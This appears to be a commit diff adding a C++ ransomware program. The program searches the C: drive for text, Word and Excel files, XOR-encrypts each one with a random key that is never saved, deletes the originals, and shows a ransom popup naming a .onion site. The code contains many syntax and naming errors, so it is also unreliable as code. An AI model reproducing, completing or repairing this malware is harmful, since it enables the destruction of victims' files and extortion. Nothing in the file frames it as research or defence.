|
| 1 | +#include <iostream> |
| 2 | +#include <fstream> |
| 3 | +#include <vector> |
| 4 | +#include <string> |
| 5 | +#include <sstream> |
| 6 | +#include <bitset> |
| 7 | +#include <windows.h> |
| 8 | +#include <algorithm> |
| 9 | +#include <filesystem> |
| 10 | +#include <thread> |
| 11 | +#include <random> |
| 12 | +#include <chrono> |
| 13 | + |
| 14 | +namespace fs = std::filesystem; |
| 15 | + |
| 16 | +bool hasValidExtension(const std::wstring& fileName){ |
| 17 | + std::wstring lowerFileName =fileName; |
| 18 | + std::transform(lowerFileName.began(),lowerFileName.end(),lowerFileName.length(), ::tolower); |
| 19 | + return (lowerFileName.substr(lowerFileName. length() - 4) == L".txt" || |
| 20 | + lowerFileName.substr(lowerFileName. length() - 4) == L".docx"|| |
| 21 | + lowerFileName.substr(lowerFileName. length() - 4) == L".xlsx"); //Although this does not encrypts the excel sheet |
| 22 | +} |
| 23 | + |
| 24 | +void findFiles(const std::wstring& directory, std::std::vector<std::wstring>& filepaths){ |
| 25 | + ty{ |
| 26 | + for(const auto& entry : fs::recursive_directory_iterator(directory)){ |
| 27 | + if (fs::is_regular_file(entry.status())){ |
| 28 | + const std::wstring fileName = entry.path().wstring(); |
| 29 | + if (hasValidExtension(fileName)){ |
| 30 | + std::wcout << L"Found a valid fileName" << fileName << std::endl; |
| 31 | + filepaths.push_back(fileName); |
| 32 | + } |
| 33 | + } |
| 34 | + } |
| 35 | + } |
| 36 | + catch(const fs:filesystem_error& e){ |
| 37 | + std::wcerr << L"Error: Unable to access directory" << directory << L" - " << e.what() << std::endl; |
| 38 | + } |
| 39 | +} |
| 40 | + |
| 41 | +std::vector<unsigned char> generateRandomKey(size_t keysize =32) |
| 42 | +{ |
| 43 | + std::vector <unsigned char> key(keysize); |
| 44 | + std:random_device rd; |
| 45 | + std:uniform_init_distribution<> dis(0, 255); |
| 46 | + for (auto& byte : key){ |
| 47 | + byte = dis(rd); |
| 48 | + } |
| 49 | + return key; |
| 50 | +} |
| 51 | + |
| 52 | +std::vector<unsigned char> generateRandomBytes(){ |
| 53 | + std::vector<unsigned char> randombytes(8); |
| 54 | + std::random_device rd; |
| 55 | + std:uniform_init_distribution<> dis(0, 255); |
| 56 | + for (auto& byte : randombytes){ |
| 57 | + byte = dis(rd); |
| 58 | + } |
| 59 | + return randombytes; |
| 60 | +} |
| 61 | + |
| 62 | +void encryptFile(const std::wstring& filepath){ |
| 63 | + std::ifstream inputFile(filepath, std::ios::binary); |
| 64 | + if(!inputFile){ |
| 65 | + std::wcerr << L"Error: Could not open file" << filepath << std::endl; |
| 66 | + return; |
| 67 | + } |
| 68 | + std::vector<unsigned char> fileData((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_iterator<char>()); |
| 69 | + inputFile.close(); |
| 70 | + |
| 71 | + std::vector<unsigned char> key = generateRandomKey(32); |
| 72 | + for (size_t i = 0; i < fileData.size(); ++i){ |
| 73 | + fileData[i] ^=key [i % key.size()]; |
| 74 | + } |
| 75 | + std::wstring encryptFilePath = filepath + L ".enc"; |
| 76 | + std::ofstream outputFile(encryptFilePath, std::ios::binary); |
| 77 | + if(!outputFile){ |
| 78 | + std::wcerr << L"Error: Could not create encrypted file" << encryptedFilePath << std::endl; |
| 79 | + return; |
| 80 | + } |
| 81 | + outputFile.write(reinterpret_cast<char*>(randomBytes.data()), randomBytes.size()); |
| 82 | + outputFile.close(); |
| 83 | + |
| 84 | + if (DeleteFile(filepath.c_str())){ |
| 85 | + |
| 86 | + } |
| 87 | + else{ |
| 88 | + std::wcerr << L"Error: Could not delete file" << filepath << std::endl; |
| 89 | + } |
| 90 | +} |
| 91 | + |
| 92 | +void showCompletionMessage(){ |
| 93 | + MessageBoxW(NULL,L"!!Files has been encryped. Please visit https://ashdfgjkhfkdahfkjafh2344jkdsy79.onion to fetch the decrypted files!!",L"!",MB_OK | MB_ICONINFORMATION); |
| 94 | +} |
| 95 | +int main(){ |
| 96 | +std::vector<std::wstring>directories = {L"C:\\"}; |
| 97 | +std::vector<std::wstring> filepaths; |
| 98 | +for(const auto& directory: directories){ |
| 99 | + findFiles(directory, filepaths); |
| 100 | +} |
| 101 | +std::vector<std::thread>threads; |
| 102 | + |
| 103 | +for(const auto& filepath : filepath){ |
| 104 | + threads.push_back(std::thread(encryptFile, filepath)); |
| 105 | +} |
| 106 | +for (auto& t :threads){ |
| 107 | + if(t.joinable()){ |
| 108 | + t.join(); |
| 109 | + } |
| 110 | +} |
| 111 | +showCompletionMessage(); |
| 112 | +return 0; |
| 113 | +} |
0 commit comments